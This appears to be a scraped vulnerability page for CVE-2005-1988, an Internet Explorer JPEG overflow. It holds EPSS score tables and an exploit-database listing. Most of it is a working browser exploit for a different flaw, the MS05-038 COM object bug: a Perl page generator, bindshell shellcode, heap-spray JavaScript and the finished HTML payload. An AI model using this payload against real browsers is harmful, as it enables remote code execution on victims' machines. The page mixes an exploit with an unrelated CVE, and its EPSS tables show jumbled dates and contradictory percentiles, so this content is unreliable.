CVE-2005-1988 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	77.11%	–	–
2023-03-12	–	–	–	96.36%	–
2023-04-16	–	–	–	96.44%	–
2023-07-02	–	–	–	96.27%	–
2023-12-03	–	–	–	94.52%	–
2024-06-02	–	–	–	94.52%	–
2024-07-21	–	–	–	91.19%	–
2024-12-22	–	–	–	95.09%	–
2025-01-26	–	–	–	95.09%	–
2025-02-16	–	–	–	95.67%	–
2025-01-19	–	–	–	95.09%	–
2025-02-02	–	–	–	95.09%	–
2025-02-16	–	–	–	95.67%	–
2025-03-18	–	–	–	–	82.75%
2025-03-30	–	–	–	–	83.44%
2025-03-30	–	–	–	–	83.44,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-16	99%
2023-07-02	99%
2023-12-03	99%
2024-06-02	99%
2024-07-21	99%
2024-12-22	99%
2025-01-26	1%
2025-02-16	1%
2025-01-19	99%
2025-02-02	1%
2025-02-16	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

source: https://www.securityfocus.com/bid/14282/info Microsoft Internet Explorer is prone to a buffer overflow vulnerability in the JPEG image rendering library used by the browser. This issue is due to a failure of the application to properly bounds check input data prior to copying it to a fixed size memory buffer. This issue was identified by creating random input for the browser, and has not been researched further at this time. This BID will be updated as further information is disclosed. Successful exploitation may result in execution of arbitrary code in the context of the user executing the affected browser. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.jpg

<!-- placed into html for your testing. /str0ke #!/usr/bin/perl ####################################################### # # Internet Explorer COM Objects Instantiation Proof of Concept Exploit (MS05-038) # # Bindshell on port 28876 - Based and ripped from Berend-Jan Wever's IE Exploit # # Vulnerable Objects : # # 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 (blnmgr.dll) <- Exploited here # 860BB310-5D01-11D0-BD3B-00A0C911CE86 (devenum.dll) # E0F158E1-CB04-11D0-BD4E-00A0C911CE86 (devenum.dll) # 33D9A761-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 4EFE2452-168A-11D1-BC76-00C04FB9453B (devenum.dll) # 33D9A760-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 33D9A762-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 083863F1-70DE-11D0-BD40-00A0C911CE86 (devenum.dll) # 18AB439E-FCF4-40D4-90DA-F79BAA3B0655 (diactfrm.dll) # 31087270-D348-432C-899E-2D2F38FF29A0 (wmm2filt.dll) # D2923B86-15F1-46FF-A19A-DE825F919576 (fsusd.dll) # FD78D554-4C6E-11D0-970D-00A0C9191601 (dmdskmgr.dll) # 52CA3BCF-3B9B-419E-A3D6-5D28C0B0B50C (browsewm.dll) # 01E04581-4EEE-11D0-BFE9-00AA005B4383 (browseui.dll) # AF604EFE-8897-11D1-B944-00A0C90312E1 (browseui.dll) # 7849596A-48EA-486E-8937-A2A3009F31A9 (shell32.dll) # FBEB8A05-BEEE-4442-804E-409D6C4515E9 (shell32.dll) # 3050F391-98B5-11CF-BB82-00AA00BDCE0B (mshtml.dll) # 8EE42293-C315-11D0-8D6F-00A0C9A06E1F (inetcfg.dll) # 2A6EB050-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 510A4910-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 6D36CE10-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 860D28D0-8BF4-11CE-BE59-00AA0051FE20 (infosoft.dll) # 9478F640-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # B0516FF0-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # D99F7670-7F1A-11CE-BE57-00AA0051FE20 (infosoft.dll) # EEED4C20-7F1B-11CE-BE57-00AA0051FE20 (infosoft.dll) # C7B6C04A-CBB5-11D0-BB4C-00C04FC2F410 (query.dll) # 85BBD920-42A0-1069-A2E4-08002B30309D (syncui.dll) # E846F0A0-D367-11D1-8286-00A0C9231C29 (clbcatex.dll) # B4B3AECB-DFD6-11D1-9DAA-00805F85CFE3 (clbcatq.dll) # ECABB0BF-7F19-11D2-978E-0000F8757E2A (comsvcs.dll) # 466D66FA-9616-11D2-9342-0000F875AE17 (msconf.dll) # 67DCC487-AA48-11D1-8F4F-00C04FB611C7 (msdtctm.dll) # 00022613-0000-0000-C000-000000000046 (mmsys.cpl # D2D588B5-D081-11D0-99E0-00C04FC2F8EC (wmiprov.dll) # 5D08B586-343A-11D0-AD46-00C04FD8FDFF (wbemess.dll) # CC7BFB42-F175-11D1-A392-00E0291F3959 (qedit.dll) # CC7BFB43-F175-11D1-A392-00E0291F3959 (qedit.dll) # # Tested on : # Internet Explorer 6 on Microsoft Windows XP SP2 # # Usage : perl MS05-038.pl > mypage.html # ####################################################### # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2, 1991 as published by # the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # A copy of the GNU General Public License can be found at: # http://www.gnu.org/licenses/gpl.html # or you can write to: # Free Software Foundation, Inc. # 59 Temple Place - Suite 330 # Boston, MA 02111-1307 # USA. # ####################################################### # header my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n"; # Win32 bindshell (port 28876) - SkyLined my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb". "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea". "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7". "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b". "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64". "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c". "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe". "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0". "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050". "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6". "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650". "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa". "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656". "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1". "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353". "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353". "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe". "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff". "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n"; # Memory my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n". "headersize = 20;\n". "slackspace = headersize+shellcode.length\n". "while (bigblock.length<slackspace) bigblock+=bigblock;\n". "fillblock = bigblock.substring(0, slackspace);\n". "block = bigblock.substring(0, bigblock.length-slackspace);\n". "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n". "memory = new Array();\n". "for (i=0;i<750;i++) memory[i] = block + shellcode;\n". "</SCRIPT>\n"; # blnmgr.dll my $clsid = '3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5'; # footer my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n". "Microsoft Internet Explorer blnmgr.dll COM Object Remote Exploit\n". "</body><script>location.reload();</script></html>"; # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin print "$header $shellcode $code $footer"; --> <SCRIPT language="javascript"> shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<750;i++) memory[i] = block + shellcode; </SCRIPT> <object classid="CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5"></object> Microsoft Internet Explorer blnmgr.dll COM Object Remote Exploit # milw0rm.com [2005-08-09]